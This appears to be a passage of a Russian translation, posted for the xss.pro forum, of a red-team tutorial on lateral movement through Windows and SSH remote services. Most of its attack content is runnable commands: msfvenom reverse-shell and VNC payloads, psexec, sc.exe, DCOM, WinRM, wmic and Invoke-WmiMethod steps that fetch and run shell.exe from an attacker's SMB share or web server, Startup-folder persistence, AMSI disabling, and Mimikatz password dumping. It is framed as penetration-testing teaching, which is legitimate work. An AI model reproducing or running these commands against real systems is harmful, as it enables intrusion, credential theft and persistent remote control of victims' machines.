msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
Теперь воспользуемся скомпрометированной системой и загрузим в нее psexec64.exe. Затем мы будем использовать следующую команду для запуска нашего вредоносного файла на указанном хосте.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
Как видите, hex достиг нашего общего ресурса smb и загрузил файл.
А значит, мы успешно получили реверс шелл!
Создание процесса Sc.exe
sc.exe — это инструмент командной строки, который входит в состав Windows и предлагает функции для обслуживания и администрирования служб Windows NT. Это необязательный системный процесс, однако его можно использовать для создания процессов и выполнения в них DLL. Здесь мы создадим процесс "ignite " и используем метод regsvr для определения исполняемой DLL в этом процессе.
Во-первых, давайте настроим наш обработчик и сгенерируем код regsvr с помощью Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
Теперь полученный код regsvr можно включить в команду sc.exe binpath. Следующая команда создает процесс ignite с приведенным выше кодом. Дальше начинается так же. Обратите внимание, что "DESKTOP-9GSGKO9" — это целевая система Windows, в которой должен выполняться код.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
Как видите, была получена ошибка запуска службы, но это потому, что предоставленная нами DLL недействительна. Он все равно выполнит нашу DLL и даст нам обратную оболочку! Здесь у нас были полномочия администратора над доступными для записи общими ресурсами в удаленной системе, поэтому мы получили привилегию NT AUTHORITY\SYSTEM, но в зависимости от ваших прав это может отличаться.
Metasploit SMB Remote PsExec
Существует модуль Metasploit psexec, который может скомпрометировать удаленную систему, если SMB доступен на цели и предоставленные учетные данные действительны. Здесь, скажем, мы получили учетные данные SMB Administrator:123, мы можем использовать эти учетные данные по сети и скомпрометировать другие системы с тем же набором учетных данных. Здесь, как видите, мы установили пейлоад meterpreter и при успешном выполнении получили веб-шелл!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
Cmd.exe SMB RCE
Cmd.exe в Windows также может выполнять команды в удаленной системе, если у пользователя есть доступ на запись к критически важным общим ресурсам, таким как C$, ADMIN$ и т. д., cmd.exe может копировать файл в такие места, как C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp и получить персистенс в сочетании с боковым движением.
Однако в этом примере мы просто запустим простую команду regsvr и запишем ее вывод в файл с именем ignite в общей папке ADMIN$, демонстрируя возможность записи команды.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
Теперь мы запускаем это с помощью cmd.
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
Это дает нам обратную оболочку!
Как видите, выходной файл был создан в указанном нами удаленном общем ресурсе. Хотя вывода не было, поэтому файл пустой, но он был создан.
Другим примером этого может быть запись bat-файла в удаленный общий ресурс жертвы 192.168.0.120, который сохранит нашу команду выполнения полезной нагрузки в StartUp, и это будет выполнено при следующем перезапуске системы.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen разработал сценарий C# под названием SharpMove, который использует множество различных удаленных служб для выполнения кода. Он может использовать общий ресурс SMB в удаленной системе для выполнения кода. Он также может попытаться отключить AMSI в качестве дополнительного бонуса. В этом примере мы изменим существующую службу, введя в нее собственный код. Мы только что создали службу под названием "ignite" при демонстрации sc.exe, давайте изменим эту службу. Выполнение в системе с именем хоста "DESKTOP-9GSGK09" может быть достигнуто следующим образом:
SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123
Как видите, SharpMove.exe обновил путь к служебному binpath, и обратная оболочка была успешно получена.
Боковое перемещение через DCOM (T1021.003)
Согласно Microsoft, "Модель Microsoft Component Object Model (COM (https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN)) — это независимая от платформы, распределенная, объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать. COM является базовой технологией для Microsoft OLE (составные документы), ActiveX (интернет-компоненты), а также других.
Это не язык программирования, а стандарт, применимый только к коду, скомпилированному в двоичный код. Такие языки программирования, как C++, предоставляют простые механизмы для работы с COM-объектами. C, Java также реализуют COM".
COM-объект — это объект, в котором доступ к данным объекта достигается исключительно через один или несколько наборов связанных функций. Эти наборы функций называются интерфейсами, а функции интерфейса называются методами. Кроме того, СОМ требует, чтобы единственный способ получить доступ к методам интерфейса — через указатель на интерфейс. Другими словами, COM позволяет двоичному файлу взаимодействовать с другими программными объектами или исполняемыми файлами, реализуя объекты, которые могут вызывать библиотеки DLL и EXE. DCOM (Distributed COM) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN)— это промежуточное программное обеспечение, которое расширяет функциональность COM за пределы локального компьютера с помощью технологии удаленного вызова процедур (RPC).
По умолчанию только администраторы могут удаленно активировать и запускать COM-объекты через DCOM.
DCOM может выполнять макросы в документах Office, а также удаленно взаимодействовать с WMI, открывая атакуемый домен для широкого спектра векторов.
Обратите внимание, что эта атака работает в системе, присоединенной к домену. Удаленное взаимодействие DCOM по умолчанию недоступно в сетях. Чтобы включить удаленное взаимодействие DCOM, требуется некоторый магический код, который не входит в предмет этой статьи. (Хотя я сделал это и использую для этого систему, не присоединенную к домену)
Mmc20.application удаленный DCOM
Вы используете Microsoft Management Console (MMC) для создания, сохранения и открытия инструментов администрирования, называемых консолями, которые управляют оборудованием, программным обеспечением и сетевыми компонентами вашей операционной системы Microsoft Windows. MMC работает на всех клиентских операционных системах, которые в настоящее время поддерживаются. Здесь используется метод Enigma0x3 (ссылка здесь (https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)).
Во-первых, давайте посмотрим запись реестра mmc20.application с помощью powershell. ProgID требуется для создания своего экземпляра в удаленной системе. Далее мы создадим новый экземпляр этой программы mmc20 в нашей целевой системе (192.168.0.119) с помощью Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
Мы создали объект с именем $dcom, который порождает различные функции, которые может выполнять mmc. Одним из таких является ExecuteShellCommand.
Мы будем использовать эту функцию для выполнения команды на этом удаленном объекте DCOM, созданном таким образом.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
При успешном выполнении мы видим попадание на наш SMB-сервер, исполняемый файл загружается и выполняется.
Это дает нам хорошую обратную оболочку, и, следовательно, боковое движение было достигнуто!
Боковое перемещение через SSH (T1021.004)
SSH — это наиболее широко используемый кроссплатформенный протокол, который позволяет пользователю подключаться к удаленным сеансам, а также позволяет копировать файлы. Часто в корпоративной среде используются разные подсети, которые могут быть недоступны для злоумышленника напрямую из-за ограничений брандмауэра или из-за другого сетевого интерфейса. В таких сценариях боковое перемещение через SSH может открыть множество вариантов для злоумышленника. Давайте посмотрим некоторые методы.
Перенаправление портов SSH
Чтобы ознакомиться с подробными примерами использования и руководством по переадресации портов, я настоятельно рекомендую прочитать эту статью ( https://www.hackingarticles.in/comprehensive-guide-on-ssh-tunneling/). Мы берем простой сценарий здесь. Наш целевой сервер имеет следующий IP-адрес и имя пользователя
Теперь мы успешно скомпрометировали систему с именем пользователя "hex", которая имеет 2 сетевые карты. Один в той же сети, что и наш атакующий компьютер, и один в сети нашего целевого сервера.
И, как вы можете видеть, наша машина злоумышленника находится в другой подсети, чем наш пункт назначения, и ping не достигает ее, поэтому она недоступна напрямую.
Чтобы настроить переадресацию локального порта, которая позволяет нам перенаправлять любой входящий трафик на определенный порт на целевой сервер, мы следуем следующей схеме:
ssh -L LOCAL_PORT
После этого мы должны указать пароль.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
После успешной настройки мы теперь сможем подключиться к целевому серверу! Во-первых, убедитесь, что в файле known_hosts нет уже существующих записей localhost (используя ssh-keygen -R)
ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000
Как видите, мы успешно подключились к месту назначения!
Боковое перемещение через VNC (T1021.005)
VNC или виртуальные сетевые вычисления — это служба, использующая протокол удаленного буфера кадров для обеспечения графического удаленного доступа к другой системе. Это интерактивный сеанс, поскольку пользователь может вводить данные с помощью мыши и клавиатуры через VNC в исходную систему. Такое определение кажется очень похожим на протокол удаленного рабочего стола, который мы обсуждали некоторое время назад, но между ними есть заметная разница. VNC не зависит от платформы, что означает, что он может работать с Linux и Windows, тогда как RDP может работать только между двумя компьютерами Windows.
Согласно MITRE, "Злоумышленники могут злоупотреблять VNC для выполнения вредоносных действий от имени вошедшего в систему пользователя, таких как открытие документов, загрузка файлов и выполнение произвольных команд. Злоумышленник может использовать VNC для удаленного управления и мониторинга системы, сбора данных и информации для перехода к другим системам в сети".
Давайте посмотрим на один из таких методов.
Полезная нагрузка VNCinject
Vncinject — это полезная нагрузка, доступная для использования с msfvenom. Она устанавливает отражающую DLL vnc в системе злоумышленника и обратно подключается к системе злоумышленника. Можно отметить, что для дальнейшего горизонтального перемещения с его помощью его можно хранить в общем ресурсе, а также можно использовать метод удаленного исполнения, такой как psexec.
Давайте сначала создадим полезную нагрузку и разместим ее на нашем веб-сервере для загрузки и выполнения в системе.
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
Теперь мы заставим нашу жертву выполнить эту полезную нагрузку. Это можно сделать, отправив фишинговые ссылки и т. д. Для простоты мы просто используем powershell wget для загрузки и выполнения (моделирование)
powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe
Теперь настраиваем multi/handler и ждем обратного вызова. После успешного выполнения мы получаем обратный вызов в нашей консоли.
use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run
Через некоторое время мы получим полноценный сеанс VNC, и боковое движение достигнуто!
Примечание. Чтобы узнать больше о пентесте VNC, прочитайте нашу статью здесь ( https://www.hackingarticles.in/vnc-penetration-testing/) .
Боковое перемещение через WinRM (T1021.006)
WinRM — это инструмент командной строки, который позволяет администраторам удаленно выполнять команды CMD.exe с использованием протокола WS-Management. Эта спецификация описывает общий протокол на основе SOAP для управления такими системами, как ПК, серверы, устройства, веб-службы, другие приложения и другие управляемые объекты. Он использует порт 5985 для транспорта HTTP и порт 5986 для транспорта HTTPS.
В серверной и клиентской версиях операционной системы Windows Enable-PSRemoting позволяет администратору получить доступ к удаленной оболочке с помощью Powershell для частных и доменных сетей через службу WinRM.
Прочтите здесь ( https://docs.microsoft.com/en-gb/wi...windows-remote-management?redirectedfrom=MSDN) документацию Microsoft о WinRM
Во-первых, для настройки WinRM нам нужно выполнить следующие команды только в окне Admin Powershell. Это активирует winrm, разрешит HTTP-соединение (поскольку по умолчанию для HTTPS в системе нет SSL-сертификата) и разрешит всем пользователям, добавив их в доверенные хосты.
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *
Для службы WinRM мы также можем вручную просмотреть конфигурацию и установить/изменить любое значение.
cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
В доменной среде часто такие инструменты, как WinRS, не работают из-за Kerberos. Следовательно, нам нужно активировать базовый механизм аутентификации.
set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true
New-PSSession Powershell
Команда New-PSSession в powershell создает новый постоянный удаленный сеанс powershell. Предоставляя удаленные учетные данные, вы видите, что мы подключились к серверу. Полезно в сценариях, когда одна система имеет доступ к целевому/целевому серверу, и нам нужно подключиться к нему, но наша система злоумышленника не может до него добраться.
Мы можем выполнить вредоносный исполняемый файл, который мы сохранили в нашем общем ресурсе SMB, для дальнейшего горизонтального перемещения.
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe
Видите ли, теперь сервер обходит входящие соединения брандмауэра, которые ограничивали подключение пользователя к нему. Вместо этого мы заставили сервер подключаться к нам!
Это дает нам аккуратную обратную оболочку!
Вызов команды Powershell
Invoke-Command — это командлет в Powershell, который запускает указанные команды в удаленных системах с помощью взаимодействия с WinRM. Администраторы используют это для автоматической установки инструментов/программного обеспечения и т. д. Но его можно использовать и для бокового движения. Указав нашу команду в "scriptblock", мы можем ее выполнить. Флаг "-Credential" позволяет пользователю вводить учетные данные, которые также можно заменить, создав блок и передав его в STDIN.
Это дает нам нашу оболочку.
Winrs
Winrs означает удаленную оболочку Windows и совпадает с New-PSSession. Он существует в Windows с Server 2008. Winrs можно использовать для выполнения кода в удаленной системе. Он использует только базовую аутентификацию. Итак, shell.exe, хранящийся в нашем smbshare, может быть выполнен так:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
Что дает нам реверс шелл!
Evil -Winrm
Evil-WinRM — очень популярный инструмент, используемый Red Teamers для горизонтального перемещения по сети с использованием WinRM. В фоновом режиме он также использует возможности удаленной оболочки Windows, но поверх него добавлены некоторые изящные функции. Он написан на руби и может быть установлен с помощью gem install evil-winrm. После установки его можно использовать для подключения к удаленному серверу, например:
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'
Теперь я создал папку с именем двоичные файлы в каталоге /root, которая включает сценарий powershell Mimikatz (найден здесь).
Evil-WinRM может загрузить эти сценарии PowerShell (хранящиеся в папке) и позволить нам выполнять его функции PowerShell! Для этого мы используем -s и указываем путь к папке с двоичными файлами. После этого мы можем использовать Invoke-Mimikatz, и, как видите, mimikatz сработал и сбросил кешированные пароли на сервер.
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz
Боковое движение через Mimikatz
Mimikatz содержит множество опций, которые помогают при боковом движении. Одним из таких является сброс паролей. Мы можем сделать это с помощью модуля sekurlsa:
privilege::debug
sekurlsa::logonpasswords
Эти хэши можно использовать с psexec для проведения хэш-атак!
Боковое перемещение через WMI
Утилита командной строки WMI (WMIC) предоставляет интерфейс командной строки для инструментария управления Windows (WMI).WMIC совместим с существующими оболочками и служебными командами. Wmi также можно использовать для удаленного выполнения команд. Это достигается с помощью флага /node. Например, в приведенном ниже примере мы создаем новый вызов процесса, который будет выполнять нашу оболочку, хранящуюся на нашем сервере SMB на узле 192.168.1.2.
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
Как видите, выполнение прошло успешно и мы получили реверс шелл
Боковое перемещение через Invoke-WmiMethod
Как и для любой хорошей утилиты, существовавшей в Windows в виде бинарного файла, Microsoft создала для нее эквивалентный командлет powershell. Invoke-WmiMethod — это командлет, который делает то же самое, что и wmic в приведенном выше примере. Более новый Invoke-CimMethod в PS 5.1+ делает то же самое. Обратитесь сюда. (https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/invoke-cimmethod?view=powershell-5.1)
Чтобы использовать Invoke-WmiMethod с помощью CLI, нам нужно создать команду. Спасибо @spotheplanet за эту технику (https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model). Мы также можем использовать общий Invoke-WmiMethod, но для этого требуется графический интерфейс, которого у нас обычно нет в сценариях Red Team.
В этом методе мы создадим вредоносный файл MSI и установим его на целевой сервер.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
Теперь в CLI скомпрометированной жертвы мы вводим следующую команду. Эта команда в основном предоставляет учетные данные (Администратор: Ignite@987) для Invoke-WmiMethod и устанавливает файл MSI, помещенный в нашу общую папку SMB.
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential
На нашем реверс прослушателе вы можете видеть, что появилась стабильная оболочка!
Заключение
Боковое перемещение является важным шагом в Red Teaming, поскольку оно ведет к повышению привилегий и компрометации сети. В статье говорилось об удаленных службах и о том, как их можно использовать для сценариев бокового перемещения во время оценок Red Team. Эти сервисы изначально имеют возможность взаимодействовать с удаленными системами. Такие приемы мы продемонстрировали в статье.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/lateral-movement-remote-services-mitret1021/
